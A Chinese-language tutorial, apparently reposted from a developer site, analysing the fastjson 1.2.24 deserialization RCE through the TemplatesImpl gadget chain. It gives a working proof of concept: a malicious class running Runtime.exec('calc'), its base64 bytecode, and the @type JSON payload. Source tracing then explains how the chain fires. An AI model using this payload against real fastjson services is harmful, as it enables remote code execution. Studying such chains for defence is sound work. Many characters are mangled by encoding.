java安全fastjson1.2.24反序列化TemplatesImpl分析
前言
漏洞環(huán)境:
fastjson1.2.24
jdk1.7.80
新建一個(gè)maven項(xiàng)目在pom.xml文件中引入fastjson的依賴:
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>
fastjson是alibaba開源的一個(gè)用于處理json數(shù)據(jù)格式的解析庫,它支持將java對(duì)象解析成json字符串格式的數(shù)據(jù),也可以將json字符串還原成java對(duì)象。不難看出,java對(duì)象轉(zhuǎn)換成json數(shù)據(jù)就是序列化操作,而將json數(shù)據(jù)還原成java對(duì)象就是反序列化過程。
1. fastjson序列化
現(xiàn)在我們來看一下fastjson序列化過程,定義一個(gè)pojo類:
public class Student { private String name; private int age; public Student() { System.out.println(" method: Student() "); } public Student(String name , int age) { System.out.println(" method: Student(String name , int age) "); this.name = name; this.age = age; } public String getName() { System.out.println(" method: getName() "); return name; } public int getAge() { System.out.println(" method: getAge() "); return age; } public void setName(String name) { System.out.println(" method: setName() "); this.name = name; } public void setAge(int age) { System.out.println(" method setAge() "); this.age = age; } }
示例程序:
public class FastjsonTest1 { public static void main(String[] args) { Student student = new Student("zhangsan" , 3); String jsonString = JSON.toJSONString(student); System.out.println(jsonString); } }
執(zhí)行結(jié)果如下:
method: Student(String name , int age)
method: getAge()
method: getName()
{"age":3,"name":"zhangsan"}
fastjson調(diào)用toJSONString方法將Student對(duì)象轉(zhuǎn)換成json字符串?dāng)?shù)據(jù)的過程中會(huì)調(diào)用對(duì)象的getter方法。
另外toJSONString方法在進(jìn)行序列化時(shí)還可以指定一個(gè)可選的SerializerFeature.WriteClassName參數(shù),指定了該參數(shù)后,在序列化時(shí)json數(shù)據(jù)中會(huì)寫入一個(gè)@type選項(xiàng),
如下所示:
json數(shù)據(jù)中的@type選項(xiàng)用于指定反序列化的類,也就是說所,當(dāng)這段json數(shù)據(jù)被反序列化時(shí),會(huì)按照@type選項(xiàng)中指定的類全名反序列化成java對(duì)象。
2. fastjson反序列化
fastjson提供了兩個(gè)反序列化函數(shù):parseObject和parse,我們通過示例程序來看一下fastjson的反序列化過程
方式一調(diào)用了parseObject方法將json數(shù)據(jù)反序列化成java對(duì)象,并且在反序列化過程中會(huì)調(diào)用對(duì)象的setter和getter方法。
方式二調(diào)用了parseObject方法進(jìn)行反序列化,并且指定了反序列化對(duì)象Student類,parseObject方法會(huì)將json數(shù)據(jù)反序列化成Student對(duì)象,并且在反序列化過程中調(diào)用了Student對(duì)象的setter方法。
方式三調(diào)用了parse方法將json數(shù)據(jù)反序列化成java對(duì)象,并且在反序列化時(shí)調(diào)用了對(duì)象的setter方法。
關(guān)于Feature.SupportNonPublicField參數(shù):
以上這三種方式在進(jìn)行反序列化時(shí)都會(huì)調(diào)用對(duì)象的構(gòu)造方法創(chuàng)建對(duì)象,并且還會(huì)調(diào)用對(duì)象的setter方法,如果私有屬性沒有提供setter方法時(shí),那么還會(huì)正確被反序列化成功嗎?為了驗(yàn)證這個(gè)猜想,現(xiàn)在我們把Student對(duì)象的私有屬性name的setter方法去掉。
從程序執(zhí)行結(jié)果來看,私有屬性name并沒有被正確反序列化,也就是說fastjson默認(rèn)情況下不會(huì)對(duì)私有屬性進(jìn)行反序列化。
如果需要將私有屬性反序列化時(shí),就可以調(diào)用parseObject方法指定Feature.SupportNonPublicField參數(shù),
如下所示:
方式一反序列化時(shí)沒有指定Feature.SupportNonPublicField參數(shù),私有屬性name沒有反序列化時(shí)沒有值,方式二和方式三指定了Feature.SupportNonPublicField參數(shù)后,私有屬性name可以正確被反序列化。
3. fastjson反序列化漏洞原理
在上一小節(jié)中我們知道fastjson在進(jìn)行反序列化時(shí)會(huì)調(diào)用目標(biāo)對(duì)象的構(gòu)造,setter,getter等方法,如果這些方法內(nèi)部進(jìn)行了一些危險(xiǎn)的操作時(shí),那么fastjson在進(jìn)行反序列化時(shí)就有可能會(huì)觸發(fā)漏洞。
我們通過一個(gè)簡單的案例來說明fastjson反序列化漏洞原理
package com.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; import java.io.IOException; /** * @auther songly_ * @data 2021/8/23 15:27 */ //定義一個(gè)惡意類TestTempletaHello class TestTempletaHello { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } } public class FastjsonTest1 { public static void main(String[] args) { //創(chuàng)建惡意類的實(shí)例并轉(zhuǎn)換成json字符串 TestTempletaHello testTempletaHello = new TestTempletaHello(); String jsonString = JSON.toJSONString(testTempletaHello, SerializerFeature.WriteClassName); System.out.println(jsonString); //將json字符串轉(zhuǎn)換成對(duì)象 Object obj = JSON.parse(jsonString); System.out.println(obj); } }
在這個(gè)示例程序中先是構(gòu)造了一個(gè)惡意類,然后調(diào)用toJSONString方法序列化對(duì)象寫入@type,將@type指定為一個(gè)惡意的類TestTempletaHello的類全名,當(dāng)調(diào)用parse方法對(duì)TestTempletaHello類進(jìn)行反序列化時(shí),會(huì)調(diào)用惡意類的構(gòu)造方法創(chuàng)建實(shí)例對(duì)象,因此惡意類TestTempletaHello中的靜態(tài)代碼塊中就會(huì)被執(zhí)行。
執(zhí)行結(jié)果如下:
4. fastjson1.2.24漏洞復(fù)現(xiàn)
在實(shí)際場(chǎng)景中很多類沒有這么明顯的可以產(chǎn)生漏洞的代碼,往往需要攻擊者自己想方設(shè)法通過一些操作(例如反射,類加載,一些危險(xiǎn)的函數(shù))來構(gòu)造一個(gè)漏洞利用環(huán)境。
在學(xué)習(xí)CC2利用鏈的時(shí)候我們分析了一個(gè)基于TemplatesImpl類的利用鏈,該類會(huì)把_bytecodes屬性的字節(jié)碼內(nèi)容加載并實(shí)例化,關(guān)于TemplatesImpl類的利用鏈的具體介紹可參考CC2利用鏈。
fastjson1.2.24的反序列化漏洞也是基于TemplatesImpl類來構(gòu)造利用鏈,思路如下:
- 1. 構(gòu)造一個(gè)惡意類TempletaPoc繼承AbstractTranslet類,通過javassist字節(jié)碼編程將惡意類TempletaPoc轉(zhuǎn)換成字節(jié)碼并進(jìn)行base64編碼。
- 2. 然后構(gòu)造TemplatesImpl類的json數(shù)據(jù),將TempletaPoc類的字節(jié)碼設(shè)置到_bytecodes屬性中,當(dāng)json數(shù)據(jù)在還原成TemplatesImpl對(duì)象時(shí)會(huì)加載_bytecodes屬性中的TempletaPoc類并實(shí)例化,從而觸發(fā)漏洞。
定義一個(gè)惡意類TempletaPoc繼承AbstractTranslet類,通過javassist將惡意類TempletaPoc轉(zhuǎn)換成字節(jié)碼,然后進(jìn)行base64編碼
package com.fastjson.pojo; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class TempletaPoc extends AbstractTranslet { //構(gòu)造RCE代碼 static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
最終的poc代碼:
package com.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.alibaba.fastjson.serializer.SerializerFeature; import com.fastjson.pojo.Student; import com.fastjson.pojo.TempletaPoc; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.security.utils.Base64; import javassist.*; import java.io.IOException; /** * @auther songly_ */ public class FastjsonTest1 { public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException { //惡意類TempletaPoc轉(zhuǎn)換成字節(jié)碼,base64編碼 String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ=="; //構(gòu)造TemplatesImpl的json數(shù)據(jù),并將惡意類注入到j(luò)son數(shù)據(jù)中 final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String payload = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+byteCode+"\"]," + "'_name':'TempletaPoc'," + "'_tfactory':{}," + "\"_outputProperties\":{}}\n"; System.out.println(payload); //反序列化 Object object = JSON.parseObject(payload,Feature.SupportNonPublicField); } }
這里解釋一下payload的構(gòu)造:
- @type:當(dāng)fastjson根據(jù)json數(shù)據(jù)對(duì)TemplatesImpl類進(jìn)行反序列化時(shí),會(huì)調(diào)用TemplatesImpl類的getOutputProperties方法觸發(fā)利用鏈加載_bytecodes屬性中的TempletaPoc類字節(jié)碼并實(shí)例化,執(zhí)行RCE代碼。
- _bytecodes:前面已經(jīng)介紹過了,主要是承載惡意類TempletaPoc的字節(jié)碼。
- _name:關(guān)于_name屬性,在調(diào)用TemplatesImpl利用鏈的過程中,會(huì)對(duì)_name進(jìn)行不為null的校驗(yàn),因此_name的值不能為null(具體可參考CC2利用鏈)
- _tfactory:在調(diào)用TemplatesImpl利用鏈時(shí),defineTransletClasses方法內(nèi)部會(huì)通過_tfactory屬性調(diào)用一個(gè)getExternalExtensionsMap方法,如果_tfactory屬性為null則會(huì)拋出異常,無法根據(jù)_bytecodes屬性的內(nèi)容加載并實(shí)例化惡意類
- outputProperties:json數(shù)據(jù)在反序列化時(shí)會(huì)調(diào)用TemplatesImpl類的getOutputProperties方法觸發(fā)利用鏈,可以理解為outputProperties屬性的作用就是為了調(diào)用getOutputProperties方法。
漏洞利用成功,接下來我們分析一下parseObject方法是如何觸發(fā)漏洞的
5. fastjson1.2.24漏洞分析
參數(shù)features是一個(gè)可變參數(shù),parseObject方法底層實(shí)際上是調(diào)用了parse方法進(jìn)行反序列化,并且將反序列化的Object對(duì)象轉(zhuǎn)成了JSONObject
public static JSONObject parseObject(String text, Feature... features) { return (JSONObject) parse(text, features); }
parse方法會(huì)循環(huán)獲取可變參數(shù)features中的值,然后繼續(xù)調(diào)用parse方法
public static Object parse(String text, Feature... features) { int featureValues = DEFAULT_PARSER_FEATURE; for (Feature feature : features) { featureValues = Feature.config(featureValues, feature, true); } return parse(text, featureValues); }
分析parse方法:
public static Object parse(String text, int features) { if (text == null) { return null; } //將json數(shù)據(jù)放到了一個(gè)DefaultJSONParser對(duì)象中 DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features); //然后調(diào)用parse方法解析json Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; }
parse方法創(chuàng)建了一個(gè)JSONObject對(duì)象存放解析后的json數(shù)據(jù),而parseObject方法作用就是把json數(shù)據(jù)的內(nèi)容反序列化并放到JSONObject對(duì)象中,JSONObject對(duì)象內(nèi)部實(shí)際上是用了一個(gè)HashMap來存儲(chǔ)json。
public Object parse(Object fieldName) { final JSONLexer lexer = this.lexer; switch (lexer.token()) { //省略部分代碼...... case LBRACE: //創(chuàng)建一個(gè)JSONObject對(duì)象 JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); //parseObject方法 return parseObject(object, fieldName); //省略部分代碼...... } }
繼續(xù)跟進(jìn)parseObject方法;
public final Object parseObject(final Map object, Object fieldName) { //省略部分代碼...... //從json中提取@type key = lexer.scanSymbol(symbolTable, '"'); //省略部分代碼...... //校驗(yàn)@type if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { //提取type對(duì)應(yīng)的值 String typeName = lexer.scanSymbol(symbolTable, '"'); //然后根據(jù)typeName進(jìn)行類加載 Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader()); if (clazz == null) { object.put(JSON.DEFAULT_TYPE_KEY, typeName); continue; } } //省略部分代碼...... //然后將class對(duì)象封裝成ObjectDeserializer對(duì)象 ObjectDeserializer deserializer = config.getDeserializer(clazz); //然后調(diào)用deserialze方法進(jìn)行反序列化 return deserializer.deserialze(this, clazz, fieldName); }
parseObject方法主要是從json數(shù)據(jù)中提取@type并進(jìn)行校驗(yàn)是否開啟了autoType功能,接著會(huì)調(diào)用loadClass方法加載@type指定的TemplatesImpl類,然后將TemplatesImpl類的class對(duì)象封裝到ObjectDeserializer 中,然后調(diào)用deserialze方法進(jìn)行反序列化。
我們來看一下deserializer的內(nèi)容,如下圖所示:
TemplatesImpl類的每個(gè)成員屬性封裝到deserializer的fieldInfo中了。
然后調(diào)用了deserialze方法,該方法中的參數(shù)如下所示:
deserialze方法內(nèi)部的代碼邏輯實(shí)在是太復(fù)雜了,內(nèi)部有大量的校驗(yàn)和if判斷,這里只是簡單的分析了大概的邏輯,這些已經(jīng)足夠我們理解TemplatesImpl的利用鏈了,后期深入分析fastjson的防御機(jī)制,以及在構(gòu)造payload如何繞過校驗(yàn)機(jī)制時(shí),再深入分析deserialze方法分析fastjson的解析過程做了哪些事情,目前我們先把TemplatesImpl的利用鏈搞清楚再說。
protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) { //省略部分代碼...... //調(diào)用createInstance方法實(shí)例化 if (object == null && fieldValues == null) { object = createInstance(parser, type); if (object == null) { fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length); } childContext = parser.setContext(context, object, fieldName); } //省略部分代碼...... //調(diào)用parseField方法解析json boolean match = parseField(parser, key, object, type, fieldValues); }
我們只分析deserialze方法中的部分核心代碼,deserialze方法內(nèi)部主要是調(diào)用了createInstance方法返回一個(gè)object類型的對(duì)象(也就是TemplatesImpl對(duì)象),然后調(diào)用了parseField方法解析屬性字段。
parseField方法:
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) { //省略部分代碼...... FieldDeserializer fieldDeserializer = smartMatch(key); //SupportNonPublicField選項(xiàng) final int mask = Feature.SupportNonPublicField.mask; //if判斷會(huì)校驗(yàn)SupportNonPublicField選項(xiàng) if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) { //獲取TemplatesImpl對(duì)象的屬性信息 } //省略部分代碼...... //調(diào)用parseField方法解析字段 fieldDeserializer.parseField(parser, object, objectType, fieldValues); return true; }
parseField方法內(nèi)部會(huì)對(duì)參數(shù)features中的SupportNonPublicField選項(xiàng)進(jìn)行校驗(yàn),這個(gè)if判斷主要是獲取TemplatesImpl對(duì)象的所有非final或static的屬性,如果fastjson調(diào)用parseObject方法時(shí)沒有設(shè)置SupportNonPublicField選項(xiàng)的話,就不會(huì)進(jìn)入這個(gè)if判斷,那么fastjson在進(jìn)行反序列化時(shí)就不會(huì)觸發(fā)漏洞。
校驗(yàn)完SupportNonPublicField選項(xiàng)后,調(diào)用parseField方法解析TemplatesImpl對(duì)象的屬性字段,先來看一下parseField方法的參數(shù)
parseField方法主要會(huì)做以下事情,調(diào)用fieldValueDeserilizer的deserialze方法將json數(shù)據(jù)中每個(gè)屬性的值都提取出來放到value 中,然后調(diào)用setValue方法將value的值設(shè)置給object。
@Override public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) { //省略部分代碼...... //解析json中的數(shù)據(jù)(將每個(gè)屬性的值還原) value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name); //省略部分代碼...... setValue(object, value); }
可以看到deserialze方法將json數(shù)據(jù)中的_bytecodes值提取出來進(jìn)行base64解碼存放到value中,接著調(diào)用setValue方法將value設(shè)置給object(即TemplatesImpl對(duì)象的_bytecodes)。
繼續(xù)跟進(jìn)fieldValueDeserilizer的deserialze方法
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) { //省略部分代碼...... if (lexer.token() == JSONToken.LITERAL_STRING) { //調(diào)用了bytesValue方法 byte[] bytes = lexer.bytesValue(); lexer.nextToken(JSONToken.COMMA); return (T) bytes; } //省略部分代碼...... }
deserialze方法內(nèi)部調(diào)用了bytesValue方法。
bytesValue方法內(nèi)部調(diào)用了確實(shí)對(duì)json數(shù)據(jù)中的_bytecodes值進(jìn)行了base64解碼
前面我們說過json數(shù)據(jù)中的outputProperties的作用是觸發(fā)TemplatesImpl利用鏈的
觸發(fā)漏洞的關(guān)鍵就在于當(dāng)fastjson調(diào)用setValue方法將json數(shù)據(jù)中的outputProperties的值設(shè)置給TemplatesImpl對(duì)象時(shí)會(huì)觸發(fā)漏洞,調(diào)用TemplatesImpl類的getOutputProperties方法。
繼續(xù)分析setValue方法是如何觸發(fā)漏洞的
public void setValue(Object object, Object value){ //首先校驗(yàn)value是否為null if (value == null // && fieldInfo.fieldClass.isPrimitive()) { return; } try { //根據(jù)outputProperties屬性獲取對(duì)應(yīng)的方法 Method method = fieldInfo.method; if (method != null) { if (fieldInfo.getOnly) { if (fieldInfo.fieldClass == AtomicInteger.class) { AtomicInteger atomic = (AtomicInteger) method.invoke(object); if (atomic != null) { atomic.set(((AtomicInteger) value).get()); } } else if (fieldInfo.fieldClass == AtomicLong.class) { AtomicLong atomic = (AtomicLong) method.invoke(object); if (atomic != null) { atomic.set(((AtomicLong) value).get()); } } else if (fieldInfo.fieldClass == AtomicBoolean.class) { AtomicBoolean atomic = (AtomicBoolean) method.invoke(object); if (atomic != null) { atomic.set(((AtomicBoolean) value).get()); } } else if (Map.class.isAssignableFrom(method.getReturnType())) { //反射調(diào)用getOutputProperties方法 Map map = (Map) method.invoke(object); if (map != null) { map.putAll((Map) value); } } else { Collection collection = (Collection) method.invoke(object); if (collection != null) { collection.addAll((Collection) value); } } } else { method.invoke(object, value); } return; } } //省略部分代碼...... }
setValue方法對(duì)value進(jìn)行了不為null的校驗(yàn),然后解析_outputProperties(json中的_outputProperties被封裝到了fieldInfo中)。
fastjson會(huì)將屬性的相關(guān)信息封裝到fieldInfo中,具體信息如下:
然后判斷method中的getOutputProperties的返回值是否為Map,為什么是通過Map接口的class對(duì)象來判斷?因?yàn)镻roperties實(shí)現(xiàn)了Map接口,因此這個(gè)判斷滿足條件會(huì)通過反射調(diào)用TemplatesImpl對(duì)象的getOutputProperties方法。
關(guān)于getOutputProperties方法的調(diào)用
不知道大家有沒有思考過fastjson是如何獲取到getOutputProperties方法的?原因在于parseField方法內(nèi)部調(diào)用了JavaBeanDeserializer類的smartMatch方法
smartMatch方法會(huì)將json中的_outputProperties中的下劃線去掉,替換成outputProperties并封裝到fieldInfo中,我們知道fastjson在反序列化過程中會(huì)調(diào)用屬性的getter方法,因此這里還會(huì)將outputProperties屬性的getter方法也封裝到fieldInfo中的method當(dāng)中。
public FieldDeserializer smartMatch(String key) { //省略部分代碼...... if (fieldDeserializer == null) { boolean snakeOrkebab = false; String key2 = null; for (int i = 0; i < key.length(); ++i) { char ch = key.charAt(i); //是否有"_"特殊字符串 if (ch == '_') { snakeOrkebab = true; //把_字符串替換為空 key2 = key.replaceAll("_", ""); break; } else if (ch == '-') { snakeOrkebab = true; key2 = key.replaceAll("-", ""); break; } } if (snakeOrkebab) { fieldDeserializer = getFieldDeserializer(key2); if (fieldDeserializer == null) { for (FieldDeserializer fieldDeser : sortedFieldDeserializers) { if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) { fieldDeserializer = fieldDeser; break; } } } } } //省略部分代碼...... }
我們貌似... 大概知道了getOutputProperties方法是如何獲取的,繼續(xù)思考一下:fastjson在反序列化過程中具體是如何調(diào)用屬性的getter方法的?
答案是JavaBeanInfo類中有一個(gè)build方法,當(dāng)通過@type獲取TemplatesImpl類的calss對(duì)象后,會(huì)通過反射獲取該類的class對(duì)象的所有方法并封裝到Method數(shù)組中。然后通過for循環(huán)遍歷Method獲取getter方法,并將outputProperties屬性和getter方法(getOutputProperties方法)一起封裝到FieldInfo,從代碼中確實(shí)可以看到add方法會(huì)將FieldInfo放到了一個(gè)fieldList中,然后將fieldList封裝到JavaBeanInfo
getter方法的查找方式需要滿足以下幾個(gè)條件:
方法名長度不小于4
必須是非靜態(tài)方法
必須get字符串開頭,并且第四個(gè)字符為大寫字母
方法中不能有參數(shù)
返回值繼承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong
在getter方法中不能有setter方法
這樣一來自然就獲取到了getOutputProperties( )方法,當(dāng)setValue方法從FieldInfo獲取到outputProperties屬性和getOutputProperties方法并反射調(diào)用getOutputProperties方法就會(huì)觸發(fā)TemplatesImpl利用鏈。
getOutputProperties方法內(nèi)部調(diào)用了newTransformer方法
public synchronized Properties getOutputProperties() { try { //調(diào)用newTransformer方法 return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
newTransformer方法內(nèi)部調(diào)用了getTransletInstance方法
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; //調(diào)用了getTransletInstance方法 transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }
getTransletInstance方法內(nèi)部會(huì)對(duì)_name和_class進(jìn)行不為null校驗(yàn), 我們構(gòu)造的payload沒有_class,因此這里_class為null會(huì)調(diào)用defineTransletClasses方法加載_bytecodes屬性的類字節(jié)碼(加載TempletaPoc類)。
private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; //調(diào)用defineTransletClasses方法 if (_class == null) defineTransletClasses(); //根據(jù)_class實(shí)例化類 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); }
跟進(jìn)defineTransletClasses方法:
private void defineTransletClasses() throws TransformerConfigurationException { //校驗(yàn)_bytecodes if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { //通過_tfactory調(diào)用getExternalExtensionsMap方法 return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new Hashtable(); } for (int i = 0; i < classCount; i++) { //加載_bytecodes中的類(TempletaPoc) _class[i] = loader.defineClass(_bytecodes[i]); //獲取TempletaPoc的父類 final Class superClass = _class[i].getSuperclass(); // Check if this is the main class //是否繼承了AbstractTranslet類 if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
defineTransletClasses方法內(nèi)部會(huì)加載_bytecodes中的類字節(jié)碼數(shù)據(jù)(加載TempletaPoc類),并且會(huì)校驗(yàn)TempletaPoc類是否繼承了AbstractTranslet類。然后返回到getTransletInstance方法中,調(diào)用newInstance方法實(shí)例化TempletaPoc類執(zhí)行RCE代碼。
到此這篇關(guān)于java安全fastjson1.2.24反序列化TemplatesImpl分析的文章就介紹到這了,更多相關(guān)13-javafastjson1.2.24反序列化內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
如何基于SpringMVC實(shí)現(xiàn)斷點(diǎn)續(xù)傳(HTTP)
這篇文章主要介紹了如何基于SpringMVC實(shí)現(xiàn)斷點(diǎn)續(xù)傳(HTTP),文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-01-01SpringCloud微服務(wù)調(diào)用丟失請(qǐng)求頭的問題及解決方案
在Spring Cloud 中微服務(wù)之間的調(diào)用會(huì)用到Feign,但是在默認(rèn)情況下,Feign 調(diào)用遠(yuǎn)程服務(wù)存在Header請(qǐng)求頭丟失問題,下面給大家分享SpringCloud微服務(wù)調(diào)用丟失請(qǐng)求頭的問題及解決方案,感興趣的朋友一起看看吧2024-02-02SpringBoot自動(dòng)裝配Condition的實(shí)現(xiàn)方式
這篇文章主要介紹了SpringBoot自動(dòng)裝配Condition的實(shí)現(xiàn)方式,本文通過實(shí)例代碼給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2021-08-08Springboot-admin整合Quartz實(shí)現(xiàn)動(dòng)態(tài)管理定時(shí)任務(wù)的過程詳解
Quartz是一款Java編寫的開源任務(wù)調(diào)度框架,同時(shí)它也是Spring默認(rèn)的任務(wù)調(diào)度框架,它的作用其實(shí)類似于Timer定時(shí)器以及ScheduledExecutorService調(diào)度線程池,這篇文章主要介紹了Springboot-admin整合Quartz實(shí)現(xiàn)動(dòng)態(tài)管理定時(shí)任務(wù),需要的朋友可以參考下2023-04-04Spring Data JPA 之 JpaRepository的使用
這篇文章主要介紹了Spring Data JPA 之 JpaRepository的使用方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2022-02-02springcloud gateway自定義斷言規(guī)則詳解,以后綴結(jié)尾進(jìn)行路由
這篇文章主要介紹了springcloud gateway自定義斷言規(guī)則詳解,以后綴結(jié)尾進(jìn)行路由,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2021-10-10java使用ArrayList實(shí)現(xiàn)斗地主(無序版)
